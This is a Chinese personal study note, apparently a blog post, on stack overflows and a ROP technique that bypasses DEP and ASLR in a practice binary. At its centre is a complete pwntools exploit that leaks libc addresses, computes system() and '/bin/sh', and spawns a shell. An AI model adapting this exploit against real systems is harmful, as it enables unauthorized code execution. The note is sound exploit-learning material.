栈溢出笔记-第三天
在看蒸米文章时候,http://www.vuln.cn/6645,这个例子是向buff写入shellcode,最后ret到shellcode地址执行。
堆栈示意图就是这样:
注意的点,算shellcode地址,去调试core文件,x/10s $esp-144,实际就是buf起始地址。
通过ROP绕过DEP和ASLR防护
蒸米的最后一个例子结合玉涵的视频看,需要理解plt和got
#!python
#!/usr/bin/env python
from pwn import *
libc = ELF('libc.so')
elf = ELF('level2')
p = process('./level2')
#p = remote('127.0.0.1', 10003)
gdb.attach(proc.pidof(p)[0])
plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
print "\n###sending payload1 ...###"
p.send(payload1)
print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)
print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
print "\n###sending payload2 ...###"
p.send(payload2)
p.interactive()
对poc的理解,为了规避堆栈平衡问题,函数再一次返回vulfun的地址,write函数原型:ssize_t write(int fd,const void*buf,size_t count);打印出got中write函数地址。
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
在write函数下断,右图是栈中传入的4个参数
因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)
再一次溢出获得shell
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
另一种堆栈平衡的poc,这个是
其中,write@plt puts@got等地址都需要在IDA中查看,因为plt和got理解不深,还需要看那本经典的书,回来在测这个方法。
下一步还是继续看《程序员的自我修养—链接、装载与库》,这里面的题目看的有点吃力,打好基础再刷这个https://www.anquanke.com/post/id/85831 目前看https://bbs.pediy.com/user-510716.htm https://bbs.pediy.com/thread-248681.htm http://www.vuln.cn/6643 https://www.anquanke.com/post/id/85831和ctf-wiki
目前都是在x86系统搞的,x64环境都没编译,先捋一遍,熟悉了,在搞x64的环境
参考链接
https://www.ichunqiu.com/course/63279
http://www.vuln.cn/6645
https://zhuanlan.zhihu.com/p/25892385
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 解答了困扰我五年的技术问题
· 为什么说在企业级应用开发中,后端往往是效率杀手?
· 用 C# 插值字符串处理器写一个 sscanf
· Java 中堆内存和栈内存上的数据分布和特点
· 开发中对象命名的一点思考
· PPT革命!DeepSeek+Kimi=N小时工作5分钟完成?
· What?废柴, 还在本地部署DeepSeek吗?Are you kidding?
· DeepSeek企业级部署实战指南:从服务器选型到Dify私有化落地
· 程序员转型AI:行业分析
· 重磅发布!DeepSeek 微调秘籍揭秘,一键解锁升级版全家桶,AI 玩家必备神器!